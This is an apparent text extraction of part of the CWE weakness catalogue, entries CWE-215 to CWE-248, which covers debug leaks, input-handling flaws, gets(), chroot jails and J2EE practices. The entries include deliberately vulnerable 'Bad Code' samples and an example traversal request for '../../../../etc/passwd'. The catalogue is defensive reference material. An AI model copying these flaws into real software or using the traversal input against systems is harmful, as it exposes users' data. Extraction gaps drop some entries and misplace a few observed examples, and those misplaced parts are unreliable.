CVE-2001-1565	username/password on command line allows local users to view via "ps" or other process listing programs

Reference	Description
CVE-2004-1058	Kernel race condition allows reading of environment variables of a process that is still spawning.
CVE-2004-1948	Username/password on command line allows local users to view via "ps" or other process listing programs.
CVE-2005-1387	password passed on command line
CVE-2005-2291	password passed on command line

CWE-215: Information Exposure Through Debug Information

Weakness ID: 215 (*Weakness Variant*)

Status: Draft

Description

Summary

The application contains debugging code that can expose sensitive information to untrusted parties.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Read application data

Demonstrative Examples

The following program changes its behavior based on a debug flag.

JSP Example:

Bad Code

```
<% if (Boolean.getBoolean("debugEnabled")) {
%>
  User account number: <%= acctNo %>
  <%
} %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

Observed Examples

Reference	Description
CVE-2002-0918	CGI script includes sensitive information in debug messages when an error is triggered.
CVE-2003-1078	FTP client with debug option enabled shows password to the screen.

Reference	Description
CVE-2004-2268	Password exposed in debug information.

Potential Mitigations

Implementation

Do not leave debug statements that could be executed in the source code. Assure that all debug information is eradicated before releasing the software.

Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification

Weakness ID: 217 (Deprecated Weakness Base)

Status: Deprecated

Description

Summary

This weakness has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this weakness can be found at CWE-766 and CWE-767.

CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data

Weakness ID: 218 (Deprecated Weakness Base)

Status: Deprecated

Description

Summary

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

CWE-219: Sensitive Data Under Web Root

Weakness ID: 219 (Weakness Variant)

Status: Draft

Description

Summary

The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.

Time of Introduction

- Operation
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Confidentiality

Read application data

Observed Examples

Reference	Description
CVE-2002-0943	Database file under web root.
CVE-2002-1449	Username/password in data file under web root.
CVE-2005-1645	database file under web root.
CVE-2005-1835	Data file under web root.
CVE-2005-2217	Data file under web root.

Potential Mitigations

Implementation

System Configuration

Avoid storing information under the web root directory.

System Configuration

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the web directory.

CWE-222: Truncation of Security-relevant Information

Weakness ID: 222 (Weakness Base)

Status: Draft

Description

Summary

The application truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Non-Repudiation

Hide activities

The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.

Observed Examples

Reference	Description
CVE-2003-0412	Does not log complete URI of a long request (truncation).
CVE-2004-2032	Bypass URL filter via a long URL with a large number of trailing hex-encoded space characters.
CVE-2005-0585	Web browser truncates long sub-domains or paths, facilitating phishing.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	221	Information Loss or Omission	699 1000	405
ChildOf	C	997	SFP Secondary Cluster: Information Loss	888	1381
MemberOf	V	884	<i>CWE Cross-section</i>	884	1306

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Truncation of Security-relevant Information

CWE-223: Omission of Security-relevant Information

Weakness ID: 223 (*Weakness Base*)

Status: Draft

Description

Summary

The application does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Non-Repudiation

Hide activities

The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.

Demonstrative Examples

This code logs suspicious multiple login attempts.

PHP Example:

Bad Code

```
function login($userName,$password){
    if(authenticate($userName,$password)){
        return True;
    }
    else{
        incrementLoginAttempts($userName);
        if(recentLoginAttempts($userName) > 5){
            writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );
        }
    }
}
```

This code only logs failed login attempts when a certain limit is reached. If an attacker knows this limit, they can stop their attack from being discovered by avoiding the limit.

Observed Examples

Reference	Description
CVE-1999-1029	Login attempts not recorded if user disconnects before maximum number of tries.
CVE-2000-0542	Failed authentication attempt not recorded if later attempt succeeds.
CVE-2002-1839	Sender's IP address not recorded in outgoing e-mail.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page

CWE-224: Obscured Security-relevant Information by Alternate Name

Weakness ID: 224 (*Weakness Base*)**Status:** Incomplete

Description

Summary

The software records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Non-Repudiation

Access Control

Hide activities

Gain privileges / assume identity

Demonstrative Examples

This code prints the contents of a file if a user has permission.

PHP Example:

Bad Code

```
function readFile($filename){
    $user = getCurrentUser();
    $realFile = $filename;
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $realFile = readlink($filename);
    }
    if(fileowner($realFile) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        writeLog($user . ' attempted to access the file ' . $filename . ' on ' . date('r'));
    }
}
```

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure their target by giving the script the name of a link to the file they are attempting to access. Also note this code contains a race condition between the `is_link()` and `readlink()` functions (CWE-363).

Observed Examples

Reference	Description
CVE-2002-0725	Attacker performs malicious actions on a hard link to a file, obscuring the real target file.

CWE-225: DEPRECATED (Duplicate): General Information Management Problems

Weakness ID: 225 (Deprecated Weakness Base) Status: Deprecated

Description

Summary

This weakness can be found at CWE-199.

CWE-226: Sensitive Information Uncleared Before Release

Weakness ID: 226 (Weakness Base) Status: Draft

Description

Summary

The software does not fully clear previously used information in a data structure, file, or other resource, before making that resource available to a party in another control sphere.

Extended Description

This typically results from new data that is not as long as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, it may allow unintended actors to read the data when the memory is reallocated.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Read application data

Observed Examples

Reference	Description
CVE-2002-2077	Memory not properly cleared before reuse.
CVE-2003-0001	Ethernet NIC drivers do not pad frames with null bytes, leading to infoleak from malformed packets.
CVE-2003-0291	router does not clear information from DHCP packets that have been previously used
CVE-2005-1406	Products do not fully clear memory buffers when less data is stored into the buffer than previous.
CVE-2005-1858	Products do not fully clear memory buffers when less data is stored into the buffer than previous.
CVE-2005-3180	Products do not fully clear memory buffers when less data is stored into the buffer than previous.

Reference	Description
CVE-2005-3276	Product does not clear a data structure before writing to part of it, yielding information leak of previously used memory.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		200	Information Exposure	699 1000	376
CanAlsoBe		212	Improper Cross-boundary Removal of Sensitive Data	1000	396
ChildOf		459	Incomplete Cleanup	1000	763
ChildOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1099
ChildOf		742	CERT C Secure Coding (2008 Version) Section 08 - Memory Management (MEM)	734	1116
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1301
ChildOf		963	SFP Secondary Cluster: Exposed Data	888	1365
ParentOf		244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	699 1000	426

Relationship Notes

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Research Gaps

Currently frequently found for network packets, but it can also exist in local memory allocation, files, etc.

Affected Resources

- Memory

Functional Areas

- Memory Management
- Networking

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Sensitive Information Uncleared Before Use
CERT C Secure Coding	MEM03-C	Clear sensitive information stored in reusable resources returned for reuse
Software Fault Patterns	SFP23	Exposed Data

Maintenance Notes

This entry needs modification to clarify the differences with CWE-212. The description also combines two problems that are distinct from the CWE research perspective - the inadvertent transfer of information to another sphere, and improper initialization/shutdown. Some of the associated taxonomy mappings reflect these different uses.

CWE-227: 7PK - API Abuse

Category ID: 227 (Category)

Status: Draft

Description

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that involve the software using an API in a manner

contrary to its intended use. According to the authors of the Seven Pernicious Kingdoms, "An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call `chdir()` after calling `chroot()`, it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses `SecureRandom` and returns a non-random value, the contract is violated."

CWE-228: Improper Handling of Syntactically Invalid Structure

Weakness ID: 228 (Weakness Class)

Status: Incomplete

Description

Summary

The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.

Time of Introduction

- Implementation
- Architecture and Design

Common Consequences

Integrity**Availability****Unexpected state****DoS: crash / exit / restart****DoS: resource consumption (CPU)**

If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.

Demonstrative Examples

This application has registered to handle a URL when sent an intent:

Java Example:*Bad Code*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

MemberOf		884	<i>CWE Cross-section</i>	884	1306

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Structure and Validity Problems
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

Maintenance Notes

This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain

such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.

The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.

CWE-229: Improper Handling of Values

Weakness ID: 229 (Weakness Base)

Status: Incomplete

Description

Summary

The software does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Integrity

Unexpected state

Relationships

Nature	Type	ID	Name	CVSS	Page

CWE-230: Improper Handling of Missing Values

Weakness ID: 230 (Weakness Variant)

Status: Draft

Description

Summary

The software does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

This application has registered to handle a URL when sent an intent:

Java Example:

Bad Code

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
```

```

MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.UrlHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

Observed Examples

Reference	Description
CVE-2000-1006	Blank "charset" attribute in MIME header triggers crash.
CVE-2002-0422	Blank Host header triggers resultant infoleak.
CVE-2004-1504	Blank parameter causes external error infoleak.
CVE-2005-2053	Blank parameter causes external error infoleak.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		229	Improper Handling of Values		699 1000 413
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)		844 1281
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling		888 1379

Research Gaps

Some "crash by port scan" bugs are probably due to this, but lack of diagnosis makes it difficult to be certain.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Missing Value Error
CERT Java Secure Coding	ERR08-J	Do not catch NullPointerException or any of its ancestors

CWE-231: Improper Handling of Extra Values

Weakness ID: 231 (*Weakness Variant*)

Status: Draft

Description

Summary

The software does not handle or incorrectly handles when more values are provided than expected.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

This typically occurs in situations when only one value is expected.

Common Consequences

Integrity

Unexpected state

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	228
ChildOf	B	229	Improper Handling of Values	699 1000	413
ChildOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1379

Relationship Notes

This can overlap buffer overflows.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Extra Value Error

CWE-232: Improper Handling of Undefined Values

Weakness ID: 232 (Weakness Variant)

Status: Draft

Description

Summary

The software does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

In this example, an address parameter is read and trimmed of whitespace.

Java Example:

Bad Code

```
String address = request.getParameter("address");
address = address.trim();
String updateString = "UPDATE shippingInfo SET address='?' WHERE email='cwe@example.com'";
emailAddress = con.prepareStatement(updateString);
emailAddress.setString(1, address);
```

If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException when the trim() is attempted.

Observed Examples

Reference	Description
CVE-2000-1003	Client crash when server returns unknown driver type.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	229	Improper Handling of Values	699 1000	413

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Undefined Value Error
CERT Java Secure Coding	ERR08-J	Do not catch NullPointerException or any of its ancestors

CWE-233: Improper Handling of Parameters

Weakness ID: 233 (*Weakness Base*) **Status:** Incomplete

Description

Summary

The software does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

This application has registered to handle a URL when sent an intent:

Java Example:

Bad Code

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
    
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

CWE-234: Failure to Handle Missing Parameter

Weakness ID: 234 (*Weakness Variant*) **Status:** Incomplete

Description

Summary

If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Confidentiality

Availability

Access Control

Execute unauthorized code or commands

Gain privileges / assume identity

There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.

Availability

DoS: crash / exit / restart

Potentially a program could fail if it needs more arguments than are available.

Likelihood of Exploit

High

Demonstrative Examples

The following example demonstrates the weakness.

C Example:

Bad Code

```
foo_func(one, two);
void foo_func(int one, int two, int three) {
    printf("1) %d\n2) %d\n3) %d\n", one, two, three);
}
```

C Example:

Bad Code

```
void some_function(int foo, ...) {
    int a[3], i;
    va_list ap;
    va_start(ap, foo);
    for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);
    va_end(ap);
}
int main(int argc, char *argv[]) {
    some_function(17, 42);
}
```

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

Observed Examples

Reference	Description
CVE-2000-0521	Web server allows disclosure of CGI source code via an HTTP request without the version number.
CVE-2001-0590	Application server allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification.
CVE-2002-0107	Resultant infoleak in web server via GET requests without HTTP/1.0 version string.
CVE-2002-0596	GET request with empty parameter leads to error message infoleak (path disclosure).
CVE-2002-1023	Server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI.
CVE-2002-1077	Crash in HTTP request without a Content-Length field.
CVE-2002-1169	Proxy allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version numbers.

Reference	Description
CVE-2002-1236	CGI crashes when called without any arguments.
CVE-2002-1358	Empty elements/strings in protocol test suite affect many SSH2 servers/clients.
CVE-2002-1488	Chat client allows remote malicious IRC servers to cause a denial of service (crash) via a PART message with (1) a missing channel or (2) a channel that the user is not in.
CVE-2002-1531	Crash in HTTP request without a Content-Length field.
CVE-2003-0239	Chat software allows remote attackers to cause a denial of service via malformed GIF89a headers that do not contain a GCT (Global Color Table) or an LCT (Local Color Table) after an Image Descriptor.
CVE-2003-0422	CGI crashes when called without any arguments.
CVE-2003-0477	FTP server crashes in PORT command without an argument.
CVE-2004-0276	Server earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field.

Potential Mitigations

Build and Compilation

This issue can be simply combated with the use of proper build process.

Implementation

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		233	Improper Handling of Parameters	699	416
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	1379

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Parameter Error
CLASP	Missing parameter

Maintenance Notes

This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.

CWE-235: Improper Handling of Extra Parameters

Weakness ID: 235 (Weakness Variant)

Status: Draft

Description

Summary

The software does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

This typically occurs in situations when only one element is expected to be specified.

Common Consequences

Integrity

Unexpected state

Observed Examples

Reference	Description
CVE-2003-1014	MIE. multiple gateway/security products allow restriction bypass using multiple MIME fields with the same name, which are interpreted differently by clients.

Observed Examples

Reference	Description
CVE-1999-1156	FTP server crash via PORT command with non-numeric character.
CVE-2004-0270	Anti-virus product has assert error when line length is non-numeric.

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

48	Passing Local Filenames to Functions That Expect a URL	

CWE-242: Use of Inherently Dangerous Function

Weakness ID: 242 (Weakness Base)

Status: Draft

Description

Summary

The program calls a function that can never be guaranteed to work safely.

Extended Description

Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The gets() function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. Similarly, the >> operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the >> operator and overflow the destination buffer.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Other

Varies by context

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The code below calls gets() to read information into a buffer.

C Example:

```
char buf[BUFSIZE];
gets(buf);
```

Bad Code

The gets() function in C is inherently unsafe.

Example 2:

The code below calls the gets() function to read in data from the command line.

C Example:

Bad Code

```
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}
```

However, the programmer uses the function `gets()` which is inherently unsafe because it blindly copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Potential Mitigations**Implementation****Requirements**

Ban the use of dangerous functions. Use their safe equivalent.

Testing

Use `grep` or static analysis tools to spot usage of dangerous functions.

CWE-243: Creation of chroot Jail Without Changing Working Directory

Weakness ID: 243 (Weakness Variant)

Status: Draft

Description**Summary**

The program uses the `chroot()` system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

Extended Description

Improper use of `chroot()` may allow attackers to escape from the chroot jail. The `chroot()` function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after `chroot()` has been called.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Operating Systems

- UNIX

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Read files or directories

Likelihood of Exploit

High

Demonstrative Examples

Consider the following source code from a (hypothetical) FTP server:

C Example:

Bad Code

```
chroot("/var/ftp/root");
...
fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
    fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);
```

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls `chroot()` in its initialization routines in an attempt to prevent access to files outside of `/var/ftp/root`. But because the server does not change the current working directory by calling `chdir("/")`, an attacker could request the file `"../../../../etc/passwd"` and obtain a copy of the system password file.

Background Details

The `chroot()` system call allows a process to change its perception of the root directory of the file system. After properly invoking `chroot()`, a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')

Weakness ID: 244 (Weakness Variant)

Status: Draft

Description

Summary

Using `realloc()` to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

Extended Description

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The `realloc()` function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Confidentiality

Other

Read memory

Other

Be careful using `vfork()` and `fork()` in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.

Demonstrative Examples

The following code calls `realloc()` on a buffer containing sensitive data:

C Example:

Bad Code

```
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but `realloc()` is used, so a copy of the data can still be exposed in the memory originally allocated for `cleartext_buffer`.

CWE-245: J2EE Bad Practices: Direct Management of Connections

Weakness ID: 245 (Weakness Variant)

Status: Draft

Description**Summary**

The J2EE application directly manages connections, instead of using the container's connection management facilities.

Extended Description

The J2EE standard forbids the direct management of connections. It requires that applications use the container's resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Java

Common Consequences**Other****Quality degradation****Demonstrative Examples**

In the following example, the class `DatabaseConnection` opens and manages a connection to a database for a J2EE application. The method `openDatabaseConnection` opens a connection to the database using a `DriverManager` to create the `Connection` object `conn` to the database specified in the string constant `CONNECT_STRING`.

Java Example:*Bad Code*

```
public class DatabaseConnection {
    private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/mysqlpdb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            conn = DriverManager.getConnection(CONNECT_STRING);
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

The use of the `DriverManager` class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.

```

public class DatabaseConnection {
    private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/mysqlpdb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            InitialContext ctx = new InitialContext();
            DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);
            conn = datasource.getConnection();
        } catch (NamingException ex) {...}
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}

```

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Software Fault Patterns	SFP3	Use of an improper API

CWE-246: J2EE Bad Practices: Direct Use of Sockets

Weakness ID: 246 (Weakness Variant)

Status: Draft

Description

Summary

The J2EE application directly uses sockets instead of using framework method calls.

Extended Description

The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues.

Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other

Quality degradation

Demonstrative Examples

The following example opens a socket to connect to a remote server.

Java Example:

Bad Code

```

public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Open a socket to a remote server (bad).
    Socket sock = null;
    try {
        sock = new Socket(remoteHostname, 3000);
        // Do something with the socket.
        ...
    } catch (Exception e) {
        ...
    }
}

```

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

Potential Mitigations**Architecture and Design**

Use framework method calls instead of using sockets directly.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision

Weakness ID: 247 (Deprecated Weakness Base)

Status: Deprecated

Description**Summary**

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP29	Faulty endpoint authentication

CWE-248: Uncaught Exception

Weakness ID: 248 (Weakness Base)

Status: Draft

Description**Summary**

An exception is thrown from a function, but it is not caught.

Extended Description

When an exception is not caught, it may cause the program to crash or expose sensitive information.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C++
- Java
- .NET

Common Consequences

Availability

Confidentiality

DoS: crash / exit / restart

Read application data

An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Java Example:

Bad Code

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
